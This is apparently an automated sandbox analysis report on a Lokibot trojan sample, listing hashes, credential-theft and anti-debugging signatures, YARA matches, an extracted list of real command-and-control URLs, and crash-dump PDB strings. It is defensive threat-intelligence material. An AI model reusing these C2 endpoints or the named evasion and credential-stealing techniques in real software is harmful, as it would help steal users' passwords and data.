Play interactive tour

Edit tour

Analysis Report SecuriteInfo.com.Trojan.DownloaderNET.131.2724.22120

Overview

General Information

Sample Name:	SecuriteInfo.com.Trojan.DownloaderNET.131.2724.22120 (renamed file extension from 22120 to exe)
Analysis ID:	368924
MD5:	968e090b17ce57156a66188b4db032ba
SHA1:	de2b8b3bf2024cf8a3bdd7ede0ce86bb5a7b13de
SHA256:	62562b38c8055ca3d5143c759d1fe6e946e0b3a85bf4397b056589d3c271392c
Infos:
Most interesting Screenshot:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Lokibot

Binary contains a suspicious time stamp

C2 URLs / IPs found in malware configuration

Contains functionality to hide a thread from the debugger

Hides threads from debuggers

Injects a PE file into a foreign processes

Machine Learning detection for sample

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Tries to steal Mail credentials (via file registry)

Yara detected aPLib compressed binary

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Startup

System is w10x64

SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe (PID: 2576 cmdline: 'C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe' MD5: 968E090B17CE57156A66188B4DB032BA)

cmd.exe (PID: 4176 cmdline: 'C:\Windows\System32\cmd.exe' /c timeout 1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 1552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 3896 cmdline: timeout 1 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe (PID: 5804 cmdline: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe MD5: 968E090B17CE57156A66188B4DB032BA)

WerFault.exe (PID: 5944 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2576 -s 2120 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: Lokibot

{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "http://87.251.79.157/m0ha/0/pin.php"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.300582297.0000000004208000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.300582297.0000000004208000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.300582297.0000000004208000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.300582297.0000000004208000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x142bf:$des3: 68 03 66 00 00 0x186b0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x1877c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000005.00000002.512379427.0000000000400000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000000.00000002.299347125.0000000003190000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.299347125.0000000003190000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.299347125.0000000003190000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.299347125.0000000003190000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x1f8bf:$des3: 68 03 66 00 00 0x23cbc:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x23d88:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000000.00000002.300559683.00000000041EE000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.300559683.00000000041EE000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.300559683.00000000041EE000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.300559683.00000000041EE000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13e9f:$des3: 68 03 66 00 00 0x18290:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x1835c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe PID: 5804	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe PID: 5804	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe PID: 5804	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe PID: 2576	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe PID: 2576	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x18074:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13e80:$s2: https:// 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13278:$s1: http:// 0x16233:$s1: http:// 0x16c74:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13280:$s2: https:// 0x13278:$f1: http:// 0x16233:$f1: http:// 0x13280:$f2: https://
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.42092c0.7.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x18074:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13e80:$s2: https:// 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13278:$s1: http:// 0x16233:$s1: http:// 0x16c74:$s1: \x97\x8B\x8B\x8F\xC5\xD0\xD0 0x13280:$s2: https:// 0x13278:$f1: http:// 0x16233:$f1: http:// 0x13280:$f2: https://
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
0.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.41eeea0.6.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
5.2.SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 25 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000000.00000002.300582297.0000000004208000.00000004.00000001.sdmp

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "http://87.251.79.157/m0ha/0/pin.php"]}

Multi AV Scanner detection for submitted file

Show sources

Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	Virustotal: Detection: 42%			Perma Link
Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe	ReversingLabs: Detection: 17%

Machine Learning detection for sample

Show sources

Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Joe Sandbox ML: detected

Source: unknown

HTTPS traffic detected: 172.67.197.219:443 -> 192.168.2.5:49692 version: TLS 1.0

Source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: rsaenh.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.ni.pdb% source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.ni.pdb" source: WerFault.exe, 00000008.00000003.283574346.0000000005678000.00000004.00000001.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000008.00000003.271419527.0000000003392000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000008.00000003.283770641.0000000005630000.00000004.00000040.sdmp
Source:	Binary string: mskeyprotect.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000008.00000003.271165162.0000000003386000.00000004.00000001.sdmp
Source:	Binary string: winnsi.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: ml.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: .ni.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: clr.pdb source: WerFault.exe, 00000008.00000003.283770641.0000000005630000.00000004.00000040.sdmp
Source:	Binary string: cryptsp.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: CLBCatQ.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: schannel.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: urlmon.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Configuration.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: System.Configuration.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000008.00000003.271182721.0000000003398000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: System.Xml.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.Xml.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: System.Core.pdb`Q source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: indows.Forms.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.PDB source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.297556952.0000000000EF8000.00000004.00000010.sdmp
Source:	Binary string: WLDP.pdb: source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: mscoree.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdbH source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: iertutil.pdbX source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Xml.ni.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbk source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdbT source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: shell32.pdbR source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb\| source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: cryptsp.pdbF source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.pdb* source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: iertutil.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: cldapi.pdb< source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: msasn1.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: ml.pdbLL' source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: mscorlib.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000008.00000003.271419527.0000000003392000.00000004.00000001.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDSO* source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: wimm32.pdb^ source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: ncrypt.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: secur32.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: rasman.pdbv source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000008.00000003.283527112.0000000005661000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.PDB source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.297556952.0000000000EF8000.00000004.00000010.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: rasadhlp.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.Core.ni.pdb} source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: ml.ni.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: WinTypes.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: System.Core.ni.pdbRSDSD source: WERC8B4.tmp.dmp.8.dr
Source:	Binary string: dhcpcsvc.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: diasymreader.pdb_ source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdbl source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: mscoreei.pdbk source: WerFault.exe, 00000008.00000003.283392921.0000000005632000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.pdbx source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: t.VisualBasic.pdb source: WerFault.exe, 00000008.00000003.283616934.000000000564C000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Core.ni.pdb% source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdb" source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: ncryptsslp.pdb. source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000008.00000003.283770641.0000000005630000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Core.ni.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp, WERC8B4.tmp.dmp.8.dr
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdbx source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdbB source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: dnsapi.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: rasapi32.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: c.pdbis source: SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe, 00000000.00000002.297556952.0000000000EF8000.00000004.00000010.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: System.Xml.ni.pdbT source: WerFault.exe, 00000008.00000002.297027957.00000000058B0000.00000004.00000001.sdmp
Source:	Binary string: diasymreader.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: winhttp.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000008.00000003.283408755.000000000563B000.00000004.00000040.sdmp
Source:	Binary string: ntasn1.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: Windows.StateRepositoryPS.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdb% source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
Source:	Binary string: rtutils.pdb source: WerFault.exe, 00000008.00000003.283375349.000000000563E000.00000004.00000040.sdmp
